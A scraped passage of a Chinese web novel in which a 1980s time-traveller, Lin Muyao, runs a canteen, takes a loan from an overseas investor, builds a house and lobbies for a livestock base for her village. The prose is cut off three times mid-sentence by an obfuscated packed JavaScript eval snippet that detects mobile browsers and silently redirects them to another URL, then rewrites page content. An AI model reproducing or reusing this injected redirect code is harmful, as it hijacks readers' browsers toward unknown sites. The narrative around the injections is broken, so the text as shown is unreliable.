杨志彬神色缓了缓,林沐瑶说话做事干脆,而且还总是有一些新奇的主意,跟她相处非常轻松。 说了自己的事情,他便问起了林沐瑶现在的状况,“做食堂做的还顺利吗?” 林沐瑶眉眼一弯,“顺利,还没有谢谢杨总给我这个机会呢。” 杨总反问:“我们不是朋友吗?朋友之间还用说谢谢?” 这是拿刚才她的话来堵她,这个杨总思维真是活跃,不过很快她便想起了一件事,当初杨志彬可是不相信华国基建速度的。 她这次要给他一个震撼,笑着问:“杨总,您可去纺织厂的工地视察?工厂的地基都挖好了。” “还没有。” 杨志彬摇了摇头,然后说道:“县政府的人给我汇报过工程进度,我刚到安平,还没有去工地看。” 说到这里他顿了顿,又继续说:“在这里跟你认个错,当初你说华夏民族是世界上最勤劳的民族,纺织厂工期会比预判的工期提前很多,我当时用别的国家的标准思考,并没有相信,现在发现,你是对的,华夏民族是世界上最勤劳的。” 林沐瑶心里涌起一抹骄傲,“华夏民族就是勤劳勇敢的民族。” 虽然嘴上如此说,但心里还是不可避免地涌上一股子感伤,就因为勤劳,所以也卷得很,华国人生活得非常辛苦。 这时候杨志彬抬手腕看了看表,问:“马上就要中午了,不知道有没有荣幸,请林同志共进晚餐?” 林沐瑶微微一笑,“不胜荣幸。” 华国人喜欢在饭桌上谈事情,虽然这次是杨志彬请客,但是不妨碍她饭桌上谈事情。 这次因为杨志彬时间有限,所以他们并没有选择什么知名餐馆,就在招待所吃饭。 吃饭前,杨志彬愧疚地道:“抱歉,时间关系,不能正式请你。” 林沐瑶笑着道:“我们是朋友,不用在形式,而且你可能不知道,在华国,请吃食堂,也是很正式的邀请。” 杨志彬还真不清楚这个,诧异道:“这么简单?” 林沐瑶抿唇,跟他科普了社会主义艰苦奋斗的精神,还举例革命先辈们的艰苦朴素作风,补丁衣裳,粗茶淡饭都是标配,吃苦在前,享受在后,严于律己,从来都是以人民群众的利益为先。 她说着说着把自己都说感动了,革命先辈们的事迹,真得很伟大,她红着眼眶,哽咽道:“革命先辈们太令人敬佩了。” 杨志彬此刻神色也恭敬道:“确实令人敬佩!” 他从小在漂亮国长大,资本主义世界一切向资本看齐,追逐利益是常态,哪里见过如此心怀人民的干部。 “所以杨总,您就放心大胆地在华国投资吧,有这么好的领导,社会安定,华国人口多,市场大,关键是华国人勤劳能干,保证不亏。” 林沐瑶趁热打铁,忽悠杨志彬在华国多投资。 杨志彬颔首,“我真有此打算。” 然后又问:“你批发牛仔布料,是要做成衣卖吗?” 林沐瑶点头,“这样既能挣到钱,还能够给我们村的社员们找一份活计,农村来钱路子少能够帮忙加工衣裳,也能多吃两顿肉,多添两件新衣裳。” 闻言,杨志彬肃然起敬,“你很善良,你肯定很爱你的故乡。” 林沐瑶弯眉一笑,“那杨总能不能给个方便?” “你说。” 杨志彬很爽快。 林沐瑶也不客气,直接说了自己的难处,“我手头有些紧,等你们纺织厂投产的时候,我批发牛仔布料的资金有些不够,所以想要赊一批牛仔布料,可以吗?” 虽然去了海城两次,她手头也有了四五千的存款,再加上这些天她做工人食堂,每天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14023735|147244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也能有小1七八十块的收入。 但现在天气渐冷,他们安平县又地处北方,冬天很冷,她目前住的房子还是茅草房,如果下雪,又冷又危险。 所以她本来还想等一等再修房子,如今她不能够等了,必须在入冬初雪之前,把房子给修结实了,但是既然要修,她就想着不如推翻重盖,那么她手头的钱,就得用去大部分,用来批发牛仔布料的钱就有些不足了。 既然见到杨志彬了,她就想要试一试,杨志彬没想到林沐瑶竟然会这么坦然地说自己经济不好。 不过这事不是大事,他想了想,说道:“资金充足了,办事才能从容,我给你签一张1万元的支票,你拿着做启动资金,你可以按照利息还我。” 还有这种好事,但凡犹豫一秒,都是对金钱的不尊重,她马上感激道谢,“谢谢杨总,您真是我的贵人。” “举手之劳。” 杨志彬的语气还是很淡。 但林沐瑶却丝毫不受影响,她看人论迹不论心,杨志彬虽然神情语气都很淡,没啥情绪起伏,但是做事大方啊,他这条粗大腿,她抱定了。 出了一个主意,吃了一顿饭,解决了一桩大心事,回家的路上,她脚步轻松了许多,好心情地还哼起了小曲儿。 她回到了纺织厂的工地,她今天心情好,晚饭就做了皮蛋瘦肉粥,主食就做了油饼,另外还炒了一个土豆丝,一个油渣炒白菜。 工人们中午才吃了肉,没想到晚饭还有,工人们不免打趣,“林同志,今天捡钱了?” 林沐瑶笑着点头,“是呢,捡了一万块呢。” “哈哈哈……” 工人们放声大笑,“林老板发财了,只这俩菜不够吧。” 听着大家的打趣,林沐瑶只是笑。 等回家后,她就跟李萍说了要减杨家大院的剪纸,还把要求说了。 闻言,李萍咋舌,“没想到外国人还真喜欢剪纸。” 然后她拍着胸膛保证道:“放心,交给我就是。” 接着林沐瑶又说了自己想要推翻房子重盖新房的想法,李萍一拍手,“马上就要入冬了,你的房子早就该修了,要不然一下大雪就危险了。” 林沐瑶笑着道:“我也是这么想的。” 然后又说了自己对于盖房的要求,李萍再次咋舌,“你要竟然要盖齐四合院。” 林沐瑶解释道:“既然要盖房,也是麻烦一次,索性盖齐了。” 李萍理解,林沐瑶手头有钱,想一下子把房子盖齐特别能理解。 但心里头却翻江倒海,她还记得前些天林沐瑶窘迫地连饭都吃不上的模样,这才几天,就能够起四合院了,真是太出息了。 现在盖房,特别是在农村,有技术的建筑工人可以出钱请,但小工等没技术含量的,大都请本村的人,也不用付工钱,只要管饭,给烟,给酒就成,当然本村人帮忙,得有一个前提,人缘好,或者在村里有地位。 林沐瑶先前在村里没啥话语权,人缘也平常,但有她先前让村里人帮忙织毛衣和围脖挣钱,再有等纺织厂投产后,还能够做衣服挣钱,所以她不怕没人帮忙盖房子。 但虽然不怕,但还是需要有个人出来张罗,她请了支书帮忙,而随着支书去村里请人,她盖房,而且还有盖齐四合院的消息不胫而走,牛角岭大队炸开了锅。 28. 美人林沐瑶 “瑶丫头可真有钱,竟然要一次性盖一院子的房子。” “前几天,她还吃不起饭,连买药都要赊账,穿的也是破破烂烂补丁打补丁,现在居然都要盖房子了,做生意真这么挣钱?” 这么一说,本来入冬后打算在家里头猫冬的社员,心里便开始长草了,林沐瑶一个小丫头都能够挣到钱,他们这些人没道理比林沐瑶还不如。 虽然蠢蠢欲动,但是真要他们做生意,他们还真不知道从哪里做起,做生意得有货,可他们除了粮食蔬菜,啥都没有,偏偏粮食和蔬菜还不值钱,而做其他生意需要本钱,他们又怕亏了。 所以心里头长草,想要做生意的念头,也就想想,付诸行动的几乎没有。 不过也不是没有,林守德一家就行动了,林大宝好歹娶媳妇了,虽然李香草好吃懒做,又泼辣,还喜欢贴补娘家,但好歹生了孙子,林大宝算是有后了。 但林二宝还是光棍呢,想娶媳妇都得要钱,从几个闺女家挖不出来钱了,林沐瑶又是一块滚刀肉,一滴血都榨不出来,种地又挣不来钱。 看林沐瑶做买卖挣钱了,他们便想着蠢蠢欲动,绞尽脑汁地想了想,就想着卖粮食。 然后李香草就不满意了,大声道:“粮食是我和孩子爹累死累活地种出来的,卖的钱都是我的,想给老二,先问问我同意不同意。” “我呸!” 林二宝不满意了,骂道:“这话你也敢说,要你种地,地里全长满荒草了,地里的粮食是我爹妈种的,我怎么不能够拿。” 被小叔骂了,李香草不乐意了,肥屁股往地上一坐,拍着大腿开始嚎,“大家都来看看啊,小叔子欺负嫂子了,这日子没法过了。” “闭嘴!” 林守德被她嚎得脑袋疼,本来林二宝娶媳妇就困难,再让她这么嚎,娶媳妇就更加难了,他赶紧打断她的嚎哭。 李香草嚎哭停止,开始讲条件,“卖粮食的钱都得给我。” 林守德怕她再闹,便道:“地是咱们一起种的,给你一半,要不然你们一家就滚出林家,这房子是老子盖的。” 李香草见他动真格的,也歇了火,“好,一半就一半。” 但人心是贪婪的,一点点卖粮食的钱,哪里能够跟一座整整齐齐的四合院比,她站起身,边用手拍打屁股上的灰,边说:“爹、娘,林沐瑶离婚了,没有了婆家,那她就还是老林家闺女,她盖的房子,她的钱,就该是咱们家的。” 林二宝虽然刚还跟李香草吵架,但是涉及到了利益,有了共同的敌人后,俩人立刻一致对外,“嫂子说的对,爹,娘,林沐瑶甭管结婚还是离婚,都是老林家闺女,她挣的钱,盖的房子,就该是咱们家的。” “有种你们就去找支书。” 林守德没好气道。 当他不想要林沐瑶的钱吗?还不是支书和大队的社员都护着她,他们林家还要在牛角岭大队生活,就不能够不考虑支书和大部分社员的态度,要不然在村里,他们家将会寸步难行。 “那咱们就拿林沐瑶那个死丫头没办法了。” 黄翠花咬牙切齿地道。 本来她被大儿媳妇和小儿子的话勾起了希望,谁知道希望的火刚刚燃起火星子,就被林守德一盆水给泼灭了,她气得脸都红了。 而其他人又何尝不气,但又没办法,一大家子人也没心情吃晚饭了,只要想到林沐瑶的钱和房子都没有他们的份儿,他们气都给气饱了。 而林沐瑶此刻却一点也没有想起这一家子人,她此刻正在跟支书一家商量盖房子的事儿,既然要把老房子推倒重建,林沐瑶住哪儿还是个问题。 李萍一拍大腿,“你就住家里来,能房子盖好,燎了锅底再住回去。” 支书家的住房也不富裕,老两口一间房,林守正和王春花带着俩孩子一间房,还有林守卫一个人一间,除了厨房和柴房,就没空房子了。 她想了想,道:“咱们大队知青点的房子空着没人住,我去那里住几天好了。” 虽然支书一家人品不错,也好相处,但是她不喜欢寄人篱下的感觉。 李萍却不同意,“知青点离村子有半里地,又没有院墙啥的,你一个年轻女同志住着不安全,你在家里又不是常住,一两个月的事,将就将就就好了,你就住你守正叔的屋子,让他来我们老两口的房间打地铺。” “瑶丫头,就按照你李奶奶说的做。” 支书也跟着劝,并且提醒道:“你这一盖房子,十里八村谁不知道你有钱了,再住得那么偏,万一有人起歪心思,出了事情,什么都晚了。” 林沐瑶抿唇,在小命安全和寄人篱下的不舒服衡量了下,最后果断选择点头,“那就给你们添麻烦了。” 李萍横了她一眼,“跟我们还客气。” 这件事说定了,负责做下手的小工联系好了,就是专门的建房师傅也已经找好,只剩下选择一个良辰吉日便开工。 但这之前,还得把给盖房子工人的饭菜材料买好,这个简单,因为他们现在就在做食堂,粮食蔬菜都有固定的合作伙伴,跟他们买还能够有一个不错的价格。 至于工人们的饭菜,林沐瑶不打算再分心思想,就跟城里纺织厂食堂吃一样,都是做盖房子的活计,她不管别人咋想,反正在她这里是一样的。 过来帮忙的小工们,没有想到他们竟然能够跟城里的建筑工人吃一样的饭菜,各个喜笑颜开。 大家伙笑着打趣,“没成想我们还有跟城里工人一样吃食堂饭菜的时候。” “那也是人家林沐瑶大方。” 不仅饭菜,就是茶水和烟,这些也都是捡好的供应,建筑工人们都很满意,所以干活也非常认真。 林沐瑶要盖的房子也没有特别设计,就跟大队社员的房子格局差不多,反正她一个人怎么都够住了。 再则,如今她虽然有了点钱,但终究势单力薄,太特立独行,会招小人的。 一切都顺顺利利的,林沐瑶也终于在三天之后,拿到了李萍和村里老人剪纸剪的杨家大院,整体的轮廓,还有杨家大院每个院子的景色,他们都剪得活灵活现的。 她拿到剪纸,就立刻去招待所找了杨志彬,把剪纸送给他,“你看看这些剪纸,可还满意?” 杨志彬接过看了看,说道:“谢谢。” 其实他也就看花样不错,他在漂亮国出生长大,对于杨家大院的印象,全部来自于家里长辈的口述,还有家里的旧照片,对于杨家大院他并不了解。 不过他相信身在异国他乡,哪怕是故乡的一点点痕迹,父亲和大伯都会喜欢的。 “林同志,我马上就要离开安平县城了,你要是有事,就去找刘厂长。” 杨志彬继续道。 林沐瑶抿唇,问:“冒昧地问一句,我能问问你要去哪儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032936|147244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 她还特地强调:“如果你不方便说,可以不说。” “去鹏城。” 杨志彬突然间开口,“我们从香江租了电话自动转接服务器,已经调试好了,准备试运营,我打算过去看看。” 林沐瑶没想到杨志彬竟然真投资了通讯行业,她想了想还是又提了一条小小的建议,“其实不仅电话自动转接服务器可以运作,手提电话和传呼机方便易携带,我觉得这块很有发展前景,你如果感兴趣的话,可以试一试。” “我也正有此意。” 杨志彬声音带着些许欣赏的意味。 而且他是越来越看不透林沐瑶了,如果换成在京城或者海城,甚至于省城这类大城市的人,能够有这样的见识,他也不会奇怪。 关键是林沐瑶生活在消息闭塞的农村,而且她还没有上过一天学,而这样的她却有着超前的商业眼光,林沐瑶在他眼里,就是一个非常神秘的女同志。 林沐瑶此刻笑哈哈,“那我们英雄所见略同。” 闻言,杨志彬嘴角微微地勾了勾,“是呢。” 林沐瑶眼睛亮了亮,她还是头一次见杨志彬笑呢,虽然很清浅,但是真的笑了呢。 杨志彬去了鹏城,林沐瑶继续做食堂,再加上盖自己住的房子,忙的不可开交,但平常也不会忘记补养身体。 不仅在喝大队中医开的中药,她又去县城的人民医院找了一个老中医,开了补身体的方子,另外平常肉蛋奶也不断。 这么补下来,虽然这半个多月忙碌,但是她还是长了肉,不再是以前骨瘦如柴的感觉了,脸也跟着变白,还有了血色。 头发也剪成了锁骨发,再留了一个空气刘海,哪怕穿着朴素,但她的颜值回春了,妩媚水灵的狐狸眼,白皙的皮肤,挺翘的鼻子,微挑的微笑唇,让她所过之处,惊艳了无数人的眼睛。 “林同志这么美,还这么能挣钱,她男人为啥要跟她离婚?” “眼睛瞎了呗,反正换成是我,我死也不会放下这样好的女人的。” 纺织厂建筑工人每次都会窃窃私语,爱美之心人皆有之,林沐瑶又美又有能力,性格还好,很难让人不动心。 而就在这时候,林沐瑶的房子终于盖好了,暂新的红砖房,外面红墙,里面白墙干净敞亮,再加上院子里的地全用红砖铺就,比支书家房子还要气派,大队里眼红的人可不少。 但是林沐瑶会做人,她自己挣钱了,也没有忘记大队其他人,等县城的纺织厂投产,他们就能够做衣裳挣钱了。 “老杨家的那个纺织厂咋还没有盖好?” “才半个多月,要盖好怎么也得一个月。” 这是牛角岭大队目前最关心的问题,他们也想盖林沐瑶这样的房子。 但林沐瑶此刻虽然把房子盖好了,但还不能够马上入住,房子还得散散味,等一等才能够入住。 但心情却很高兴,她终于有自己的房子了。 而更加高兴的是杨志彬从鹏城回来了,还给她带了鹏城特产,她本来就高兴的心情更加好了。 她穿上一件高领蓝色毛衣,再加上一件深蓝色粗布直筒宽腿裤,再挎上一个深蓝色帆布包,这才去赴约。 杨志彬打开自己的房门,看到门口立着一个妩媚动人的女同志,眼里闪过惊艳,他的助理季晖,惊讶地张大了嘴巴,她还是他们认识的那个林沐瑶吗? 29. 伴君如伴虎 季晖既惊艳又惊讶,他好奇地问:“林同志,你,你吃啥了,怎么变得这么漂亮?” 杨志彬也比较好奇,不过才半个多月不见,林沐瑶就脱胎换骨,好像换了一个人一样,从一个灰朴朴的农村姑娘,破茧成蝶一般变成一个明艳照人的大美人。 是的,大美人,他从小生活优渥,在漂亮国那样的一个移民国家,白人,黑人,亚裔,各种肤色的美人,见过地数不胜数,林沐瑶的美貌绝对是排名靠前的。 “林同志,别来无恙。” 他还是用那样淡然的语气打招呼。 林沐瑶微微一笑,“杨总,半个月不见,您风采更胜往昔。” “咳咳咳。” 季晖清了清嗓子,带着一丝丝怨气地说道:“林同志,你还没有回答我的问题呢?” 话说,他那么大一个人杵那儿,还开口说了不少话,这个林沐瑶就只看得见他老板杨总。 林沐瑶看向他,歉疚地笑了笑,“季同志,好久不见。” 季晖眼睛被这如花笑颜晃了晃,笑着道:“好久不见,但你还没有回答我问题呢。” 林沐瑶下巴壳一抬,说道:“因为我本来就漂亮啊,前段时间之所以灰朴朴的,那是因为我大病初愈,现在身体好了,自然就颜值回春了。” 季晖非常赞同这样的说法,但他心头又多了一个疑问:“不都说内地人谦虚吗?你怎么自己夸自己了?” “我怎么夸自己了,我只是说了大实话而已。” 林沐瑶振振有词道。 季晖不可置信地打量着林沐瑶,来到内地也有些时间了,接触的人也不少,但大都是谦和有礼,林沐瑶是唯一的一个这么自恋的,并且自恋得光明正大。 不过这样的她并不会让人反感,看到如此鲜活的美女,他便想出口打趣几句,话刚到嘴边,就看到了林沐瑶眼里不服输的倔强,他赶紧又把话给咽了回去。 没了他插科打诨,空气一下子安静了下来,但三个人总不能在门口大眼瞪小眼吧,林沐瑶正想着说些什么,打破现在的安静气氛时候,杨志彬开口了,他的手顺便还做出了一个邀请的姿势,“请进。” 林沐瑶抬腿走进了房间,然后就看到了茶几上的大哥大和bp机,她眼睛爆亮,快走几步上前去观察,她还是头一次近距离看这两样呢,在她生活的那个年代,这两样已经是古董了。 她好奇地问:“杨总,大哥大和bp机在安平县能用吗?” 如果能用,等挣到钱了,她也去买,虽然这俩样东西不保值,没有过几年出的手机方便,但她被穿越大神眷顾,来到了八十年代,那就要把这些年代的事情能够体验的,全部都体验一遍,不负穿越这么一遭。 但她很快就迎来了兜头凉水,只听杨志彬轻启薄唇,说道:“不能,安平县附近没有信号。” 林沐瑶只能够遗憾放弃,然后笑着道:“杨总,季助理,不知道两位有没有时间,让我尽一下地主之谊?” “这次我来请吧。” 季晖接口道:“我还没有请林同志吃过饭呢。” 其实他也是看林沐瑶经济情况窘迫,这才开口请吃饭的,再则林沐瑶还是一位女士,他和杨总俩人怎么好意思,让林沐瑶请客。 杨志彬却不给他机会,他淡淡的声音响起,“还是我请吧,我有事情需要向林同志请教。” 他是大佬,自然他说了算了,林沐瑶和季晖俩人瞬间不再争取请客机会。 这次吃饭的地方是安平县重新开张的一家老字号,听说大厨是清末一家王爷家的大厨,那家王爷还是个饕餮,大厨又是王爷最喜欢的厨子,而且王爷还不止一次地说道:“我家大厨的厨艺不比御厨差。” 而在特殊运动时期,大厨一家受到波及,不仅丢了家里的饭店,还被下放到牛棚,经历了几年的蹉跎,最终等来了拨乱反正,政府还归还了祖产,等改革开放后,他们家又把自己家的餐馆给开了起来。 这次他们过来,首选就点了店里的招牌安平烧鸡和酱牛肉,其他的菜就按照各自的口味点了。 等吃饭的时候,季晖边吃边夸赞,“这烧鸡和牛肉味儿绝了,怪不得两位老先生惦记呢。” “唉!” 他咽下嘴里的食物叹了口气,“就是这些食物偏偏需要现做才好吃,要不然也能够给漂亮国的两位杨老先生邮递过去。” 林沐瑶本来还想着告诉杨志彬,可以做真空包装,再加上冷冻,便可以邮递到漂亮国。 想起西方国家对于华国商品入关时那条条框框的要求,比如华国食品用料太复杂,不符合他们的食品安全法规,很少能够进入西方国家的市场。 她叹口气,遂放弃了真空包装邮递食物的想法。 但是杨志彬却很敏锐地察觉到了林沐瑶的情绪,问:“林同志可是有话要说?” 不愧是大佬,这观察力杠杠的,人家既然问了,林沐瑶也不会藏着掖着,她便把自己的想法说了,“漂亮国海关对于华国的商品检查严格,华国食品很难过海关,所以我就把想法压下了。” “真空包装食品倒是一个不错的主意。” 杨志彬却夸赞起了这个主意,说道:“其实投资一家真空包装的食品厂也不错。” 林沐瑶忽然觉得嘴里香喷喷的烧鸡酸了起来,都是女娲造出来的人,凭啥有人有钱有颜,啥都有,凭啥她就得吃糠咽菜,为了点碎银子汲汲营营。 心酸归心酸,但不妨碍她吹彩虹屁,“杨总眼光就是独到,我保证这生意肯定能挣钱。” 说完她便小心察言观色,看杨总的神色,但杨总的神色还是那么平淡,没有一点点起伏,她拿不准他的情绪,但壮着胆子开始给牛角岭大队谋福利。 “杨总,如果您要做肉类之类的真空包装食品,能不能把养殖基地建在牛角岭大队啊?我保证我们大队绝对不会耍心眼子。” 杨总见她说得信誓旦旦,突然起了恶趣味,问:“你都不问问真空包装食品,都是什么品类的?” 林沐瑶再次争取,“无非就是肉蛋之类的,这些我们牛角岭大队社员都能够养殖,鸡鸭鹅猪羊牛等等,我们不怕辛苦。” 但尽管如此,杨总也没有给确切的答案,“这事我不能马上答应你,得等做了市场调研之后才能做最后的决定。” 林沐瑶也能理解,他们俩虽然说是朋友,但交情真没多少,人家那是真金白银地投入,考察市场权衡利弊,也是理所应当的。 但她还是做了争取,“如果在相同条件下,还请杨总给我们牛角岭大队一个机会。” 这次杨志彬没有拒绝,“一定。” 其实这次吃饭,也就是叙叙旧,杨志彬是个大忙人,吃过饭,林沐瑶便非常有眼色地告辞了。 而她离开后,季晖便开始帮她说话了,“杨总,您怎么不答应林同志,不过养殖基地而已,选哪个村子不是选?” 杨总撩起眼皮子淡淡地看了他一眼,说道:“你对林同志过于关心了。” “林同志毕竟是我们的朋友,帮助朋友不是应该的吗?” 季晖说到最后,声音渐渐地小了起来,因为他感觉到了杨志彬的不满。 他蹙眉凝思,杨总这是什么意思?这是不把林同志当朋友了,看着不像啊。 华国有句老话,“伴君如伴虎”,就是他如今的情况。 杨志彬见他闭嘴了,心里总算舒服了一点,他不清楚怎么回事,就是看不得季晖过度关心林沐瑶。 再说林沐瑶从饭店出来,先去了纺织厂工地,看到已经起了半截的厂房,她想按照这个速度,顶多再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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林沐瑶摇了摇头,“这我不清楚,但我想无非就几个方面,一来是大队的风气是不是好,大队的社员们是不是会偷奸耍滑,再就是大队的环境适不适合做养殖。” “咱们大队的风气绝对好,环境肯定适合做养殖基地,咱们大队地多,草也多。” 支书赶紧细数牛角岭大队的优点。 林沐瑶却摊手,“我说了不算,得人家杨总亲自看到了,才有可信度。” 李萍一拍大腿,道:“老头子,你还傻站着干啥,赶紧召集大队干部开会商量,再给大队社员们做思想工作,最近一段时间,大家伙都谨慎小心点儿,谁要敢胡闹,坏了咱们大队的名声,让咱们大队选不中养殖基地,那谁家擎等着被社员们指着脊梁骨骂吧。” 闻言,支书扭头就走,这事宜早不宜迟,他得赶紧把事情办成了,有了养殖基地,他们大队可就脱贫了。 当天晚上,牛角岭大队的社员们正准备睡觉的时候,大队的大喇叭响了,说的就是让社员们从现在开始注意言行,讲究五德四美,要努力把牛角岭大队的好名声打出去,谁要敢闹事儿,做坏牛角岭大队名声的事,让牛角岭大队做不了养殖基地,以后他们家的任何事,大队干部都不会管,还要罚做免费劳力,给大队打扫一年的卫生。 这个消息把大队的社员们炸懵逼了,然后就开始激动起来,他们牛角岭大队要脱贫致富了。 然后就开始佩服起林沐瑶来,“瑶丫头果然是好样的,自己挣钱了,还不忘拉拔咱们。” “就是,以后林守德一家要是再敢欺负瑶丫头,我第一个不干。” 林沐瑶的地位在牛角岭大队彻底稳了下来,本来打算找林沐瑶麻烦的林守德一家,再一次偃旗息鼓,心头憋屈得吐血,这个林沐瑶咋就那么能呢,咋一会儿一个挣钱的路子。 而最让他们憋屈的是,这些挣钱路子跟他们没关系。 林沐瑶呢,正在盘算手里头的钱,她瞅瞅自己能不能在真空包装的食品厂掺和点儿份子,挣点分红? 30. 当老板了 因为盖房子,除去杨志彬借给她的一万块存款,她手头本来就有的四五千块的存款,如今也只剩下了千把块,虽然这存款数额,放在这个年代并不算少,但如果想要参股食品厂,这些钱就有些不够看了。 她再是厚脸皮,也不好意思去找杨志彬要股份,伸手挠了挠头,钱不够,智商来凑,她可以帮忙出主意。 但杨志彬是经商世家出身,商业经营从小耳睹目染,她就算从后世过来,她所见的那些商业经营手段,可不定能够打动他,让他给她股份。 既然商业经营手段不成,那么就从商品创新上下功夫,到底如何创新呢? 她的手指卷起一小缕头发,用手指无意识地缠绕着,脑袋却在高速地运转,忽然一个想法跃入了脑海。 她怎么把这事给忘记了,当初她在火车站卖烩菜,看到方正的朋友给他捎带的火腿,当时就萌生了一个想法,那就是建一个火腿肠的厂子。 靠她的情况,如果真要办这样的厂子的话,最起码还得有至少一年的积累时期,况且这样的厂子核心技术门槛并不高,只要有心,很快就能够做出同款的产品。 后世的火腿肠五花八门,市场卷得厉害,价格上,口味上,甚至包装上,多款商品供消费者挑选。 而她本钱小,势力也单薄,创业初期还是抱一条粗大腿慢慢发育,积累实力为好。 她拍了拍手,夸了自己一句,“我真是太聪明了。” 然后便找了纸和笔,把火腿肠的做法写纸上,这才去端了刚刚熬好的中药喝,她的身体不容易调理好了一些,得再接再励地调理,争取在年底成为一个健健康康的宝宝。 喝了药还不算,她还站在原地做了一段八段锦,生命在于运动,只吃药或者补品效果有限,搭配上运动见效更快。 第二天大公鸡闹钟非常准时地报时,林沐瑶抬手腕,看了看自己手腕上的电子表,发现才早上五点半,此刻外面的天气还没有亮。 她在炕上滚了一圈,又伸了一个懒腰,这才睁开发黏的眼睛,在心里默默地数了五个数,这才起床,随着天气越来越冷,起床的难度也越来越大。 “啥时候才能够不用为碎银奔波发愁,一觉睡到自然醒?” 她喃喃自语后,又自嘲地笑了笑,她这个愿望恐怕得奋斗大半辈子了,毕竟她没有好的起点,也不是什么天才,就一普普通通的打工人,想要财务自由,又何尝容易。 她认命地起床洗漱、然后喝了药,坐上林守卫赶的车往纺织厂工地去,到了地方就起锅做早饭。 早饭很简单,南瓜小米粥,纯白面馒头,再加上一个白菜炒豆腐,香辣土豆丝,虽然没肉,但这也是普通人家比较丰盛的早餐了。 林沐瑶和林守卫几人也是吃这样的早饭,吃饭的时候,林沐瑶便开口道:“李奶奶,守卫叔,春花婶,中午饭就交给你们了,我有事去找杨总。” “你有事就去忙,中午饭就交给我们。” 王春花不假思索地就答应了下来,杨总可是大老板,如果林沐瑶跟他搞好关系了他们也能够跟着受益。 就是李萍和林守卫也跟着说:“你尽管忙你的,我们能把午饭做好。” 林沐瑶见他们说的真诚,便开开心心地离开,而她今天运气很好,到了招待所门口,跟准备要出门的杨志彬来了一个不期而遇。 她好奇地问:“杨总,这是要出门?” “嗯。” 杨总声音还是淡淡的,不过却做了解释,“姬县长邀请我们下乡参观。” 林沐瑶赶紧道:“那不知道杨总有没有空,让我尽下地主之谊。” 杨志彬看了眼季晖,季晖作为助理,很快就意识到了杨总眼神的意思,回想了杨志彬最近的日程安排,便道:“今天晚饭时候有空。” 杨志彬便看向林沐瑶,问:“你可有空闲?” “有。” 林沐瑶忙不迭地答应,有求于人,哪里有让大佬等的道理。 杨志彬点了点头,扭头看向季晖,说道:“把晚饭时间空出来。” 季晖点了点头,“好。” 约好之后,林沐瑶也没有在外面乱逛,赶紧回了纺织厂工地,王春花看到她,好奇地问:“你咋回来了?不是要跟杨总一起吃饭吗?” 林沐瑶笑着道:“杨总跟着姬县长下乡考察了,约了晚饭时间吃饭。” 说到这里,她一脸歉疚地说:“麻烦你们等我一等了。” “你这孩子就是瞎客气。” 李萍横了她一眼后,又关切地问:“杨总跟着姬县长去考察,是不是考察养殖基地的事啊?” 林沐瑶摇了摇头,“不是,听杨总说,姬县长只是让他去了解了解安平县乡村的情况,看看有没有商机?” 李萍急地直拍大腿,“这不就是考察养殖基地吗?你这孩子平常瞧着聪明,咋关键时候掉起链子来了。” 她急着问:“可有说要去哪个公社,哪个大队考察?” 林沐瑶摇了摇头,“没说,杨总也不知道。” 李萍赶紧拽来了林守卫,着急地吩咐:“赶紧回去告诉你爹,让你爹多留心一些。” 林守卫也知道轻重,知道这次考察关系着牛角岭大队几百户家庭的生计,赶紧答应了,“我马上去。” 等他离开后,李萍和王春花干活时候明显开始心不在焉了。 王春花眉头拧着,说:“杨总他们如果去牛角岭大队就好了。” “姬县长领着去的。” 林沐瑶怕她期望太高,到时候失望,赶紧说摆事实。 王春花笑了笑,“我知道,我就是想想好事。” 再说牛角岭大队,支书知道姬县长带着杨总下乡参观,赶紧通知大队社员们打扫卫生,村里的土路上不能够有任何的牲畜家禽粪便,散养的牛羊鸡鸭等全部都圈进家里,社员们也都穿上干净衣裳。 他可是听瑶丫头说了,做食品厂最看重的就是卫生了,他们大队别的没办法,卫生方面还是可以抢救一下的。 “瑶丫头可真厉害,这次杨总都跟着姬县长来农村参观了,咱们大队当养殖基地的事肯定有门了。” “是啊,瑶丫头越来越出息了,我不求别的,只求一年多挣百十来块钱,能够在年底时候,给家里儿子娶个媳妇儿。” 牛角岭大队社员幻想着成为养殖基地的美好场景,话说他们牛角岭大队很有可能成为十里八村最富裕的大队呢。 不过他们盼望了一下午,都没有能够等到姬县长和杨总一行,大家心里便开始长草了。 “是不是选中别的公社的大队了?咱们大队咋办?” “要不去找找瑶丫头,让她去找找杨总说说情。” 这句话说出了大家的心声,他们结伴去找了支书,让他去找林沐瑶,让她想想办法,让杨总把养殖基地放在他们大队。 支书心里也跟着忐忑,本来就有心去找林沐瑶,被社员们一提,他也就顺水推舟地答应了,“我这就去。” 等他到了纺织厂工地,林沐瑶却没在,她去县城招待所找杨志彬了,他拧着眉头从腰间掏出旱烟杆子,往地上一蹲,便心烦意乱地开始干抽烟。 李萍见了,心里头来气,吼道:“有空抽烟,没空帮忙,没瞅见我们忙成陀螺了吗?” 